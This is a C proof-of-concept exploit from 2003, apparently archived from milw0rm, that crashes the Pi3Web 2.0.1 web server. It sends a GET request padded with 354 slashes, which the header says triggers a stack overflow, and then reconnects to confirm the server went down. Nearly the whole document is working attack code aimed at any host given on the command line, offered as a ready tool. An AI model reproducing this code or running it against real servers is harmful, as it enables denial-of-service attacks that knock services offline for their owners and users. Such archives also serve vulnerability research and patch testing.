Pi3Web 2.0.1 - Denial of Service (PoC)

/* Pi3Web 2.0.1 DoS - Pr00f of concept.
*
* Vulnerable systems: Pi3Web 2.0.1 (maybe others)
* Vendor: www.johnroy.com/pi3  - http://pi3web.sourceforge.net/
* Patch: no yet.
*
* Info: Pi3Web Server is vulnerable to a denial of Service.
* when a malformed HTTP Request is done the webserver hangs 
* due to an stack overflow. GET /////////..[354]../////////
*
* Found by aT4r@3wdesign.es  04/26/2003
* Compiled with: lcc-win32 v3.3.
*
*/

#pragma comment (lib,"ws2_32")
#include <stdio.h>
#include <windows.h>
#include <winsock2.h>
#include <string.h>

char evilbuffer[1024],evilrequest[512],ip[15];
short port=80;


int isalive(int OPT)
{
	struct sockaddr_in haxorcitos;
	int fd;

	haxorcitos.sin_port = htons(port);
	haxorcitos.sin_family = AF_INET;
	haxorcitos.sin_addr.s_addr = inet_addr(ip);

	if ((fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
	{
		printf(" [-] Unable to Create Socket\n\n");
		return(0);
	}
	if (connect(fd,( struct sockaddr *)&haxorcitos,sizeof(haxorcitos)) == -1)
	{
		if (OPT==0)
			printf(" [+] Exploit Success. Remote webserver shutdown\n");
		else
			printf(" [-] Unable to connect\n\n");
		return(0);
	}
	if (OPT==0)
	{
		printf(" [-] Exploit Failed. System Patched?\n\n");
	}
	else
	{
		send(fd,evilbuffer, strlen(evilbuffer),0);
		printf(" [+] Data Sent. Now Checking Host\n");
		closesocket(fd);

	}
return(1);
}


void usage(void)
{
	printf(" [+] Usage: PiDoS.exe HOST [port]\n\n");	exit(1);
}


void main(int argc,char *argv[])
{
	WSADATA ws;

	if	(WSAStartup( MAKEWORD(1,1), &ws )!=0)
	{
		printf(" [+] WSAStartup() error\n");
		exit(0);
	}

	printf("\n . .. ...:Pi3Web Denial of Service (aT4r@3wdesign.es) :... 
..\n\n");

	if ((argc!=2) && (argc!=3))
		usage();

	strcpy(ip,argv[1]);
	if (argc==3) port=atoi(argv[2]);

	memset(evilrequest,0,512);
	memset(evilbuffer,0,1024);
	memset(evilrequest,'/',354);
	//sprintf(evilbuffer, "GET %s\r\n",evilrequest);
	sprintf(evilbuffer,"GET %s HTTP/1.0\r\nUser-Agent: foo\r\nHost: 
%s\r\n\r\n\r\n",evilrequest,argv[2]);

	if (isalive(1))
		{ sleep(1000); isalive(0);}

}

// milw0rm.com [2003-04-29]